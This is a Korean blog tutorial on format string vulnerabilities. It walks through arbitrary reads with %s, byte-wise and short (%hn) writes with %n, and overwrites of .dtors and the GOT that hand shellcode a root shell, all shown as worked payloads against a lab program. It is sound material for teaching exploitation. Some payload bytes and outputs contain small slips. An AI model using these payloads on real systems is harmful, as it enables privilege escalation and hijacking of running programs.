Post

Format String Bug

함수가 스택에서 인자를 가져오는 법



1
2
3
4
5
6
7
int main() {
  char buff[128];
	
	printf("input string : ");
	fgets(buff, 112, stdin);
	printf(buff);	
}


코드에 아무런 문제가 없는 것 처럼 보이지만 만약 입력값을 %d, %s, %p 등으로 해준다면 이상한 값이 출력이 됨.

함수는 인자를 가져올 필요가 있을 때, EBP로부터 상대적 거리로 인자 값을 가져오는데, 이는 바로 이전 프레임의 최상위 값부터 첫 번째 인자, 두 번째 인자… 하는 식으로 4byte 단위로 가져오게 되는 것.


printf("%d %d %d", A, B, C)가 있을 때, printf()함수가 호출되면 인자는 역순으로 스택에 삽입되어 맨 먼저 C가 삽입되고 그 다음 B, A순으로 삽입되고 그 다음 포맷 스트링의 주소가 삽입되게 됨.


image


포맷 인자가 없는 printf("%d");의 경우 포맷 인자가 있으므로 함수 인자를 가져와야 하며 이 때 인자가 스택에 있는지의 여부와 관계없이 포맷 함수는 해당 인자가 있어야 할 곳을 계산해(현재 프레임 포인터에 더하는 방식으로) 그곳에서 값을 가져옴.

위의 코드로 보면 만약 입력을 AAAA %8x %8x %8x라 해주면 printf(AAAA %8x %8x %8x)가 되고 이 때, 출력값은 다음과 같음.

AAAA 70 40151e80 41414141






포맷 스트링 취약점



포맷 함수는 포맷 스트링의 주소가 아닌 일반 문자열의 주소를 인자로 받은 후 이 문자열을 하나씩 읽어 출력 작업을 수행함.

이 때, 문자열에 포맷 인자가 포함돼 있다면 포맷 함수는 포맷 인자를 인식하고 그 인자에 해당하는 함수 인자를 스택에서 읽으려 할 것임.

위에서 봤듯이 AAAA 70 40151e80 41414141와 같은 결과가 출력이 되었는데 이 때 입력값이 AAAA인 부분과 41414141을 보았을 때, 3번째 포맷 인자부터는 포맷 스트링을 참조하는 것임.

즉, 포맷 함수는 현재 스택의 맨 끝 부분에 있는 메모리를 사용하고 있어 포맷 스트링은 현재 프레임 포인터보다 높은 메모리 주소에 위치하고 있을 것임.

이런 지식은 포맷 함수로의 인자를 제어하는데 쓰일 수 있으며 특히 %s나 %n처럼 주소를 참조하는 포맷 인자일 경우에 유용함.






임의의 메모리 주소에서 읽기



%s 포맷 인자는 임의의 메모리 주소에 있는 값을 읽는데 쓰일 수 있음.

포맷 함수 내에서 원본 포맷 스트링에 있는 데이터를 참조하는 것이 가능하므로(위에서 보았듯이) 포맷 스트링의 일부를 %s 포맷 인자에 해당하는 주소로 사용할 수 있음.

AAAA 70 40151e80 41414141를 보면 3번째 포맷 인자가 포맷 스트링의 맨 앞부분에서 데이터를 읽는다는 사실을 나타내는데, 만약 3번째 포맷 인자가 %x가 아니라 %s였다면 포맷 함수는 주소 0x41414141에 있는 문자열을 출력하려고 시도할 것임.

물론 0x41414141은 정상적인 주소가 아니므로 오류가 나겠지만, 만약 유효한 주소값을 넣는다면 그 주소에 있는 문자열의 내용을 읽을 수 있음.

예를 들어, 환경 변수를 설정한 뒤 AAAA 대신에 환경 변수의 주소를 넣어주고 3번째 포맷 인자를 %s로 한다면 그 환경 변수의 값을 가져오게 됨.


포맷 인자 %s로 메모리를 읽을 수 있다면 포맷 인자 %n으로 메모리에 쓸 수 있음.






Format String : %n



1
2
3
4
5
6
7
main()
{
    int n = 10;

    printf("before change : %d\n", n); // 10
    printf("haha~\n%n", &n); // n=haha~\n의 길이인 6이 됨
    printf("after change : %d\n", n); // 6


  • %n 형식 인자는 %n 앞에 입력된 문자들의 개수(문자열 길이)를 받음.

  • 이 형식 인자는 뒤에 받는 인자 값으로 주소 값을 받는데, 다른 형식 문자열들이 화면에 결과를 출력해 주는 것과는 달리 뒤에 인자 값으로 온 주소 값에 결과 값을 넣어준다.


특정 주소에 직접 값을 넣어 줄 수 있는 이 형식 인자 덕분에 Format String attack이 가능하게 된 것.

만약 뒤에 오는 주소 값이 RET라면 RET값을 마음대로 변경할 수 있는 것.


  • 인자에 직접 접근하는 법

    ex) %N$%d -> N번째 인자를 10진수로 출력.

    ex) printf("%2$s", "HELLO", "WORLD"); -> 2번째 인자를 문자열로 출력 -> WORLD






임의의 메모리 주소에 쓰기



%s 포맷 인자로 메모리를 읽을 수 있다면 %n 포맷 인자로 메모리에 쓸 수 있음.

예를 들어, 어느 변수의 주소와 값을 출력하는 코드가 있다고 할 때, 이 변수의 주소를 0x08049794라고 하자.

또한 4번째 포맷 인자에서부터 포맷 스트링을 읽어오는 것을 안다고 하자.


입력을 python -c 'print "\x94\x97\x04\x08" + "%x%x%8x%n"' 이라고 하면 0x08049794에 %n이 나오기 전까지의 포맷 스트링의 길이 값이 들어갈 것임.


%08x 처럼 포맷 인자의 필드 길이 옵션을 조작하면 그 수에 해당하는 값만큼의 공백 문자가 출력되므로 값을 조정할 수 있으나 이런 방법은 작은 수를 저장할 때는 잘 동작하지만 메모리 주소와 같이 매우 큰 수를 저장할 때는 사용하기 어려움.

예를 들얼 0xbfffffff와 같은 메모리 주소를 덮어씌울려고 할 때 등 ..


여기서 값을 계속해서 조정해보면 변수의 값을 16진수로 표현한 부분을 보면 이 변수의 가장 하위 바이트 값을 조정하는 것은 매우 쉽다는 점을 알 수 있음.

4바이트 워드에서 가장 하위 바이트는 맨 첫 번째 바이트라는 점 (0xdeadbeef라면 \xef\xbe\xad\xde) 을 이용해 하위 바이트 값을 변경해가면서 4바이트 워드 전체에 값을 쓸 수 있음.


예를 들어, 변수 val의 주소가 0x08049794일 때, val에 0xDDCCBBAA를 쓰고 싶다면 아래와 같이 하면 됨.

0x08049794에는 0xAA 값을 넣고, 0x08049795에는 0xBB, 0x08049796에는 0xCC, 0x08049797에는 0xDD를 넣어서 최종적으로 변수 val에는 0xDDCCBBAA 값이 들어가게 되는 것임.


image


0xAA를 넣고자 할 때, 0xaa는 170이므로 입력을 \x94\x97\x04\x08 + %x%x%150x%n 처럼 하면 %n 전까지 포맷 스트링의 길이가 170이 되므로 0x080497940xAA가 들어가게 됨.

우리는 총 4개의 주소에 값을 넣어줘야 함. 그러면 첫 번째 주소에 값을 넣어주고 두 번째 주소에 0xBB 값을 넣어주기 위해선 그 사이에 바이트 수를 올려주기 위한 %x 포맷 인자를 위한 또 다른 인자 값이 필요함.

인자 값은 4바이트의 어떤 값이든 상관 없으며 이 값 다음에 대상 메모리 주소 + 1이 와야 함.

그래서 사이에 JUNK 값을 넣어줘서 포맷 스트링의 전체 모습을 정리하면 아래와 같음.


image


따라서 포맷 스트링을 작성해보면 아래와 같이 됨. (프로그램 이름은 vuln이라고 가정.)


1
2
3
4
5
6
./vuln 
$(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\x97\x04\x08JUNK\x97\x97\x04\x08")
%x%x%8x%n


test_val = 0x08049794 = 52 0x00000034


테스트를 한 결과 8번의 공백을 넣어주면 총 길이가 52가 되므로 0xaa를 만들기 위해선 0xaa - 52 + 8 = 126이므로 %8x%126x로 바꾸면 됨.

더 간단하게 계산하면 처음에 0x080497940xaa를 넣어줄 때, 150을 사용하였으므로 현재 4바이트 값이 6개(주소 값 3개, JUNK 3개)가 늘어났으므로 150 - 24 = 126임.


1
2
3
4
5
6
./vuln 
$(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\x97\x04\x08JUNK\x97\x97\x04\x08")
%x%x%126x%n


test_val = 0x08049794 = 170 0x000000aa


그 다음 0xBB를 넣어줘야 함. 0xBB - 0xAA = 17이므로 아래와 같이 입력하면 됨.


1
2
3
4
5
6
./vuln 
$(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\x97\x04\x08JUNK\x97\x97\x04\x08")
%x%x%126x%n%17x%n


test_val = 0x08049794 = 48042 0x0000bbaa


세 번째와 네 번째도 동일하게 반복하면 됨.

여기서 알아둬야 할 점은 이 방법을 이용해 데이터를 덮어쓰는 메모리의 다음 3바이트도 덮어써진다는 점임.

만약 정적 변수 next_val 변수가 선언돼있다면 next_val의 값도 점점 변하게 될 것임.





그런데 덮어쓰고자 하는 주소가 0xDDCCBBAA가 아니라 0x0806abcd라면 어떻게 해야 하는가?

첫 번째 바이트인 0xCD는 161의 필드 너비로 205바이트를 출력해야 함.


1
2
3
4
5
6
7
./vuln 
$(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\x97\x04\x08JUNK\xf7\x97\x04\x08")
%x%x%161x%n


test_val = 0x080497f4 = 109517 0x000000cd
next_val = 0x080497f8 = 286331153 0x11111111


두 번째 바이트인 0xAB를 쓰려면 171바이트를 출력해야하는데 이미 205바이트를 출력했으므로 줄이는 것은 불가능한 상황.

해결책은 바로 205에서 34를 빼는 대신 (0xab - 0xcd = -34) 222를 더해 427를 만드는 것임. (0x1ab - 0xcd = 222)


1
2
3
4
5
6
7
./vuln 
$(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\x97\x04\x08JUNK\xf7\x97\x04\x08")
%x%x%161x%n%222x%n


test_val = 0x080497f4 = 109517 0x0001abcd
next_val = 0x080497f8 = 286331136 0x11111100


이 기법을 이용하여 세 번째(0x06), 네 번째(0x08) 바이트도 쉽게 쓸 수 있음.


1
2
3
4
5
6
7
8
9
10
0x06 - 0xab = -165
0x106 - 0xab = 91

./vuln 
$(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\x97\x04\x08JUNK\xf7\x97\x04\x08")
%x%x%161x%n%222x%n%91x%n


test_val = 0x080497f4 = 33991629 0x0206abcd
next_val = 0x080497f8 = 286326784 0x11110000


1
2
3
4
5
6
7
8
9
0x08 - 0x06 = 2

./vuln 
$(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\x97\x04\x08JUNK\xf7\x97\x04\x08")
%x%x%161x%n%222x%n%91x%n%2x%n


test_val = 0x080497f4 = 235318221 0x0e06abcd
next_val = 0x080497f8 = 285212674 0x11000002


근데 위를 보면 네 번째 바이트를 덮어쓸 때 사소한 문제가 있음.

2바이트 차이가 나므로 %2x를 했는데 2바이트가 아닌 8바이트가 출력되어 0x0e가 저장되었음.

이렇게 된 이유는 %x 포맷 인자의 필드 길이 옵션은 최소값을 의미해 최소 8바이트는 무조건 출력되기 때문임

이 문제는 앞에서와 같이 큰 숫자를 입력해 256(2^8 = 256)보다 큰 수를 만들어 해결할 수 있음.
이런 필드 길이 옵션의 한계를 알고 있어야 함.


1
2
3
4
5
6
7
8
9
0x108 - 0x06 = 258

./vuln 
$(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\x97\x04\x08JUNK\xf7\x97\x04\x08")
%x%x%161x%n%222x%n%91x%n%258x%n


test_val = 0x080497f4 = 134654925 0x0806abcd
next_val = 0x080497f8 = 285212675 0x11000003



%n 부분에서 배웠던 인자에 직접 접근하는 방법을 통해 굳이 메모리를 건너뛰는 노력을 할 필요 없이 값을 덮어쓸 수 있음.

예를 들어, 0x080497f40xbffffd72를 저장한다고 하자.


1
2
3
4
5
6
./vuln 
`python -c 'print "\xf4\x97\x04\x08" + "\xf5\x97\x04\x08" + "\xf6\x97\x04\x08" + "\xf7\x97\x04\x08"
+ "%98x%4$n%139x%5$n%258x%6$n%192x%7$n"'`


test_val = 0x080497f4 = -1073742478 0xbffffd72






short 쓰기 기법



short는 2바이트 워드임. 위에서 한 것은 4바이트 워드(DWORD)

포맷 인자는 short를 다루는 특별한 방법을 가지는데 우선 길이 변경자에 대해 알아보면 아래와 같음.


1
2
3
4
5
길이 변경자
     여기의 정수 변환은 d, i, o, u, x, X 인자에 대한 변환을 나타낸다.
     
     h     다음의 정수 변환은 short int나 unsigned short int 인자를 뜻한다.
           혹은 다음의 n 변환은 short int 인자를 가리키는 포인터를 뜻한다.


1
2
3
4
5
6
7
8
9
길이 수정자는 hh, h, l, ll,j, z, t, L이 있습니다.

hh 는 diouxX가 뒤에 오면 인자를 char 혹은 unsigned char로 변환하여 출력합니다.

h 는 diouxX가 뒤에 오면 인자를 short 혹은 unsigned short로 변환하여 출력합니다.

l 은 뒤에 diouxX가 뒤에 오면 인자를 long 혹은 unsigned long으로 변환하여 출력합니다.

ll 은 뒤에 diouxX가 뒤에 오면 long long 혹은 unsigned long long으로 변환하여 출력합니다.


printf에 대한 자세한 내용은 아래 링크에서 확인.

Link : ehpub.co.kr/printf-함수/

Link : dojang.io/mod/page/view.php?id=736



따라서 우리는 %n을 short로 쓰고자 하려면 %hn 포맷 인자를 이용해야 함.



short 쓰기를 이용해 4바이트 값을 2개의 %hn 인자로 덮어쓸 수 있음.

예를 들어, test_val 변수(0x08049794)를 주소 값 0xbffffd72로 덮어쓰면 아래와 같음.

4바이트 값을 2바이트씩 2번에 나눠서 쓰는 것이므로 0x080497940x08049796에 값을 넣어야 하며 0x08049794 에는 0xfd72를 넣고, 0x08049796에는 0xbfff를 넣어야 함.


1
2
3
4
5
6
7
8
9
10
11
0xfd72 - 8 = 64874          => 주소 값은 총 8바이트 이므로 먼저 넣을 0xfd72에서 8을 뺀 값이 %x의 필드 길이값이 됨.
0xbfff - 0xfd72 = -15731    
0x1bfff - 0xfd72 = 49805    => 0xbfff가 0xfd72보다 작으므로 더 큰 수로 해결한 것


./vuln
$(printf "\x94\x97\x04\x04\x96\x97\x04\x08")
%64874x%4\$hn%49805x%5\$hn


test_val @ 0x08049794 = -1073742478 0xbffffd72


short 쓰기 기법을 사용할 때는 메모리에 쓰는 순서는 중요하지 않음. 0x08049796에 먼저 써도 됨.


1
2
3
4
5
6
7
8
9
10
0xbfff - 8 = 49143           
0xfd72 - 0xbfff = 15731 


./vuln
$(printf "\x96\x97\x04\x04\x94\x97\x04\x08")
%49143x%4\$hn%15731x%5\$hn


test_val @ 0x08049794 = -1073742478 0xbffffd72



임의의 메모리 주소에 데이터를 쓸 수 있다는 것은 프로그램의 실행 흐름을 제어할 수 있음을 의미함. 대표적으로 스택 오버플로우의 리턴 주소를 덮어쓰는 방법이 있음.

스택 오버플로우 공격은 특성상 리턴 주소밖에 덮어쓸 수 없지만 포맷 스트링 공격은 임의의 메모리 주소에 데이터를 쓸 수 있으므로 다양한 공격을 할 수 있음.






소멸자를 이용한 우회법



GNU C 컴파일러를 이용해 컴파일된 이진 프로그램에서는 소멸자destructor와 생성자constructor를 위한 특수 테이블 섹션인 .dtors.ctors를 생성함.

프로그램 종료 시 자동으로 함수가 실행되는 기능은 이진 파일의 .dtors 테이블 섹션에서 담당을 하는데, 이 섹션은 32비트 주소의 배열로 구성돼있고 맨 마지막에는 NULL 주소가 들어있음.

이 배열은 항상 0xffffffff로 시작하고, 널 주소인0x00000000로 끝나며 이 두 주소 사이에는 소멸자 속성으로 선언된 모든 함수의 주소가 포함됨.


nm 명령어로 소멸자 속성이 부여된 함수와 .dtors 영역의 주소를 찾을 수 있고, objdump 명령어도 이진 파일의 섹션을 검사할 수 있음.


1
2
3
4
5
6
nm ./dtors_sample

080495b4 d __DTOR_END__
080495ac d __DTOR_LIST__

0x080483e8 t cleanup  => 소멸자 속성이 부여된 함수


.dtors 섹션이 0x080495ac에 있는 __DTOR_LIST__에서 시작해서 0x080495b4에 있는 __DTOR_END__에서 끝난다는 사실을 알 수 있음.

0x080495ac에는 0xffffffff가 들어 있고, 0x080495b4에는 0x00000000이 들어 있으며, 그 둘 사이에 있는 주소 0x080495b0에는 cleanup 함수의 주소(0x080483e8)가 들어 있음.


objdump 명령은 .dtors 섹션의 실제 콘텐츠를 보여줌.


1
2
3
4
objdump -s -j .dtors ./dtors_sample

Contents of section .dtors:
 80495ac ffffffff e8830408 00000000


  • 80495ac : .dtors 섹션이 위치한 주소

  • e8830408 : 소멸자 속성이 부여된 함수의 주소



중요한 점은 .dtors 섹션은 쓰기가 가능하다는 것이며 소멸자 속성을 갖는 함수가 있는지의 여부와 관계없이 GNU C 컴파일러로 컴파일된 모든 이진 파일에 이 섹션이 포함돼 있다는 점임.

따라서 0xffffffff 다음에 있는 주소를 덮어쓴다면 프로그램이 종료될 때 그 주소에 있는 함수가 호출될 것이며, 덮어써야 할 주소는 __DTOR_LIST__ + 4가 됨.


예를 들어, vuln 프로그램이 실행 중일 때, dtor의 주소는 0x08049690이고 쉘코드가 들어있는 환경 변수의 주소가 0xbffff9ec라 하자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
nm ./vuln | grep DTOR

08049694 d __DTOR_END__
08049690 d __DTOR_LIST__


0xbfff - 8 = 49143
0xf9ec - 0xbfff = 14829

./vuln $(printf "\x96\x96\x04\x08\x94\x96\x04\x08")%49143x%4\$hn%14829x%5\$hn

test_val @ 0x08049794 = -72 0xffffffb8

sh-3.2# whoami
root
sh-3.2#


__DTOR_LIST__ + 4한 주소에 쉘코드 환경 변수 값 주소를 넣음으로써 프로그램이 종료될 때 쉘코드가 실행되어 공격자는 루트 쉘을 얻을 수 있음.






전역 오프셋 테이블(GOT) 덮어쓰기



프로그램은 공유 라이브러리에 있는 함수를 사용할 일이 많음. 그래서 프로그램 내부에 모든 함수의 참조 테이블을 갖고 있는 것이 효율적임.

컴파일된 프로그램에 포함돼 있는 프로시저 연결 테이블 (Procedeure Linkage Table, PLT) 이라는 특수 섹션을 이런 목적에 씀.

이 섹션은 여러 jmp 명령으로 구성돼 있으며 각 명령은 함수의 주소와 대응함.

프로그램에서 공유 함수를 호출할 일이 있으면 프로그램의 제어가 PLT로 넘어감.


PLT 섹션을 보면 아래와 같이 되어 있음.


image


만약 여기에 exit함수가 있었다면 exit 함수를 호출하는데 쓰이는 jump 명령을 조작해 exit() 함수 대신 쉘코드를 실행하게 한다면 루트 쉘이 실행될 것임.

단, plt 섹션은 read-only 영역임.


그런데 위에 사진을 보면 어떤 주소로 jump 하는 것이 아니라 주소의 포인터로 jump 하는 것을 알 수 있음.

예를 들어, printf() 함수의 실제 주소는 메모리 주소 0x200bd2을 가리키는 포인터로 저장돼 있음.


이 주소들은 전역 오프셋 테이블(Global Offset Table, GOT)라는 또 다른 섹션에 저장돼 있음.

이 주소는 objdump를 이용해 이진 파일의 동적 재배치 항목을 출력해 알아낼 수 있음.


image


printf() 함수의 주소가 GOT의 0x0000000000601018에 저장돼 있음을 알 수 있음.

만약 이게 exit() 함수라고 할 때, 이 주소에 쉘코드의 주소를 덮어쓴다면 프로그램이 exit() 함수를 호출할 때 실제로는 쉘코드가 호출될 것임.

정리하면 과정은 아래와 같음.


  1. 프로그램은 exit() 함수를 호출

  2. GOT에서 exit() 함수의 주소를 찾은 후 PLT를 통해 그 주소로 jump

  3. exit() 함수의 주소를 환경 변수에 있는 쉘코드 주소로 바꿨다면 쉘코드가 실행되어 쉘을 따낼 수 있음


GOT의 장점은 이진 파일마다 GOT 항목이 고정돼 있다는 점임. 그래서 서로 다른 시스템이라 할지라도 같은 이진 파일을 사용하면 같은 주소에서 같은 GOT 항목을 찾을 수 있음.






This post is licensed under CC BY 4.0 by the author.